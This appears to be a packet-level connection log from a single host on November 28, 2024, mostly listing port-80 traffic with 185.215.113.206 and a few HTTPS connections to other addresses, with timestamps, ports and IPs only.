Nov 28, 2024 00:19:47.352431059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.352722883 CET	443	49859	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:47.352838993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.352936029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.352987051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.353683949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.353737116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.353873968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.354109049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.354517937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.354557991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.354600906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.354705095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.355379105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.355428934 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.355571985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.356218100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.356287003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.356338978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.356375933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.356966972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.357024908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.357078075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.357264996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.357804060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.357851028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.357954979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.358004093 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.358664036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.358716011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.358727932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.358798027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.359477043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.359530926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.359606981 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.359642982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.360316038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.360364914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.360426903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.361120939 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.361159086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.361264944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.361274958 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.361567020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.361931086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.362051964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.362088919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.362762928 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.362940073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.362987041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.363565922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.363641024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.363689899 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.391710043 CET	49859	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:47.391751051 CET	443	49859	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:47.392263889 CET	49859	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:47.392272949 CET	443	49859	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:47.419348001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.419393063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.419445992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.419478893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.419644117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.419682980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.419805050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.419850111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.420514107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.420551062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.420649052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.420685053 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.421510935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.421631098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.421648026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.421672106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.422156096 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.422214031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.422272921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.422317028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.422960997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.423013926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.423063040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.423105001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.423826933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.423866987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.423947096 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.424113035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.424624920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.424668074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.424807072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.424849033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.425451994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.425494909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.425569057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.425601006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.426284075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.426327944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.426392078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.426479101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.427071095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.427104950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.427181959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.427217007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.427891016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.428073883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.428097963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.428117037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.428740025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.428776979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.428865910 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.428900003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.429558992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.429604053 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.429687023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.429759979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.430398941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.430438995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.430515051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.430550098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.431221008 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.431252003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.431335926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.431370020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.432030916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.432073116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.432142973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.432188988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.432888985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.432924032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.433093071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.433125973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.433748960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.433870077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.433881044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.433902979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.434525013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.434566021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.434633017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.434708118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.435353041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.435395956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.435482979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.435518026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.436177015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.436213970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.436285019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.436317921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.437172890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.437269926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.437280893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.437352896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.437839985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.437882900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.437957048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.437990904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.438676119 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.438749075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.438797951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.438838005 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.439495087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.439632893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.439656973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.439682961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.440334082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.440372944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.440402031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.440433979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.552881956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.552934885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.553046942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.553257942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.553324938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.553347111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.553375959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.553402901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.553930998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.553996086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.554039955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.554104090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.554759026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.554801941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.554840088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.554877043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.555579901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.555624962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.555660963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.555697918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.556410074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.556453943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.556509972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.556552887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.557245970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.557291031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.557341099 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.557382107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.558068037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.558113098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.558195114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.558239937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.558918953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.558967113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.558985949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.559021950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.559727907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.559771061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.559827089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.559869051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.560548067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.560591936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.560609102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.560647964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.561372042 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.561481953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.561537027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.562216997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.562271118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.562357903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.562397003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.563028097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.563091040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.563128948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.563168049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.563863039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.563941002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.563966990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.564008951 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.564686060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.564732075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.564927101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.564970970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.565542936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.565604925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.565812111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.565849066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.566327095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.566390991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.566426992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.566495895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.567158937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.567218065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.567260981 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.567298889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.568001032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.568052053 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.568123102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.568159103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.568831921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.568906069 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.568931103 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.568972111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.569627047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.569674969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.569720030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.569758892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.570461035 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.570611954 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.570656061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.570727110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.571269989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.571310043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.571383953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.571427107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.572104931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.572151899 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.572212934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.572252989 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.572943926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.572999001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.573065996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.573111057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.573788881 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.573865891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.573878050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.573920965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.609385967 CET	443	49869	150.171.28.10	192.168.2.6
Nov 28, 2024 00:19:47.609458923 CET	443	49869	150.171.28.10	192.168.2.6
Nov 28, 2024 00:19:47.609473944 CET	49869	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:47.609503031 CET	49869	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:47.609633923 CET	49869	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:47.609654903 CET	443	49869	150.171.28.10	192.168.2.6
Nov 28, 2024 00:19:47.609663963 CET	49869	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:47.609818935 CET	49869	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:47.619250059 CET	443	49866	20.199.58.43	192.168.2.6
Nov 28, 2024 00:19:47.619270086 CET	443	49866	20.199.58.43	192.168.2.6
Nov 28, 2024 00:19:47.619309902 CET	49866	443	192.168.2.6	20.199.58.43
Nov 28, 2024 00:19:47.619338036 CET	443	49866	20.199.58.43	192.168.2.6
Nov 28, 2024 00:19:47.619353056 CET	49866	443	192.168.2.6	20.199.58.43
Nov 28, 2024 00:19:47.619373083 CET	443	49866	20.199.58.43	192.168.2.6
Nov 28, 2024 00:19:47.619376898 CET	49866	443	192.168.2.6	20.199.58.43
Nov 28, 2024 00:19:47.619416952 CET	49866	443	192.168.2.6	20.199.58.43
Nov 28, 2024 00:19:47.623467922 CET	49866	443	192.168.2.6	20.199.58.43
Nov 28, 2024 00:19:47.623486042 CET	443	49866	20.199.58.43	192.168.2.6
Nov 28, 2024 00:19:47.629621029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.629694939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.629703999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.629745960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.629981041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.630032063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.630203009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.630249023 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.630280972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.630373955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.630695105 CET	443	49871	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:47.630989075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.631036043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.631103992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.631144047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.631491899 CET	49871	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:47.631506920 CET	443	49871	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:47.631860971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.631875992 CET	443	49871	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:47.631930113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.632005930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.632047892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.632707119 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.632772923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.632858992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.632900953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.632978916 CET	49871	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:47.633037090 CET	443	49871	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:47.633312941 CET	49871	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:47.633465052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.633503914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.633580923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.633619070 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.634310007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.634413004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.634448051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.634489059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.635118961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.635158062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.635289907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.635545015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.635965109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.636037111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.636084080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.636312962 CET	49878	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:47.636337996 CET	443	49878	20.42.65.91	192.168.2.6
Nov 28, 2024 00:19:47.636414051 CET	49878	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:47.636771917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.636774063 CET	49878	443	192.168.2.6	20.42.65.91
Nov 28, 2024 00:19:47.636787891 CET	443	49878	20.42.65.91	192.168.2.6
